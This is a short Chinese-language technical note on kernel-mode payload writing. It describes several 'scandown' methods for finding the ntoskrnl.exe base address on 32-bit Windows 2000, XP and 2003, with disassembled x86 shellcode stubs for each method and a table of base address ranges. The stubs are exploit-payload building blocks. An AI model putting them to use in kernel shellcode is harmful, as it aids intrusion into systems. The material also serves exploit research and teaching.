大多数用户态Payload会首先定位kernel32.dll的基址,而在内核态下为ntoskrnl.exe(又简称nt)。nt是windows内核的核心,并为驱动程序提供核心接口,对于内核Payload来说,定位ntoskrnl.exe的基址有利于定位其导出函数。
其中一种方法是在nt的内存映射区域内向低地址扫描直到找到“MZ”标志,又称“scandown",在实现中为了优化,采用PAGE_SIZE大小递减,不过会增加4个字节存储空间,如果对Payload的大小有限制,也可以采用一个一个字节查找。如果开启/3G启动标志,则这种方法可能失效。
- IDT Scandown 从IDT handler的high-order word开始查找,然后一个字节一个字节查找:
- KPRCB IdleThread Scandown 另一种方法是从当前的KPCR的KPCRB中IdleThread属性,这个属性总是指向nt中的一个全局变量。
- SYSENTER_EIP_MSR Scandown 适用环境:XP, 2003 (modern processors only)
- Known Portable Base Scandown 适用环境:2000, XP, 2003 SP0
00000000 8B3538F0DFFF mov esi,[0xffdff038]
00000006 AD lodsd
00000007 AD lodsd
00000008 48 dec eax
00000009 81384D5A9000 cmp dword [eax],0x905a4d
0000000F 75F7 jnz 0x8
如果nt基址恰好没有和4字节吻合,那么上面的搜索方式可能会出错,如果DF位没有清空,也可能出错,并且字节序中包含NULL字节。采用PAGE_SIZE搜索的方式可以消除这些问题:
00000000 6A38 push byte +0x38
00000002 5B pop ebx
00000003 648B03 mov eax,[fs:ebx]
00000006 8B4004 mov eax,[eax+0x4]
00000009 662501F0 and ax,0xf001
0000000D 48 dec eax
0000000E 6681384D5A cmp word [eax],0x5a4d
00000013 75F4 jnz 0x9
00000000 A12CF1DFFF mov eax,[0xffdff12c]
00000005 662501F0 and ax,0xf001
00000009 48 dec eax
0000000A 6681384D5A cmp word [eax],0x5a4d
0000000F 75F4 jnz 0x5
如果处理器支持系统调用MSR 0x176 (SYSENTER_EIP_MSR),从返回的系统调用句柄开始查找:
00000000 6A76 push byte +0x76
00000002 59 pop ecx
00000003 FEC5 inc ch
00000005 0F32 rdmsr
00000007 662501F0 and ax,0xf001
0000000B 48 dec eax
0000000C 6681384D5A cmp word [eax],0x5a4d
00000011 75F4 jnz 0x7
nt的内存映射基址有个地址范围,其和系统版本有关,0x8050babe对前三种都适用:
00000000 B8BEBA5080 mov eax,0x8050babe
00000005 662501F0 and ax,0xf001
00000009 48 dec eax
0000000A 6681384D5A cmp word [eax],0x5a4d
0000000F 75F4 jnz 0x5
Platform Base Address End Address Windows 2000 SP4 0x80400000 0x805a3a00 Windows XP SP0 0x804d0000 0x806b3f00 Windows XP SP2 0x804d7000 0x806eb780 Windows 2003 SP1 0x80800000 0x80a6b000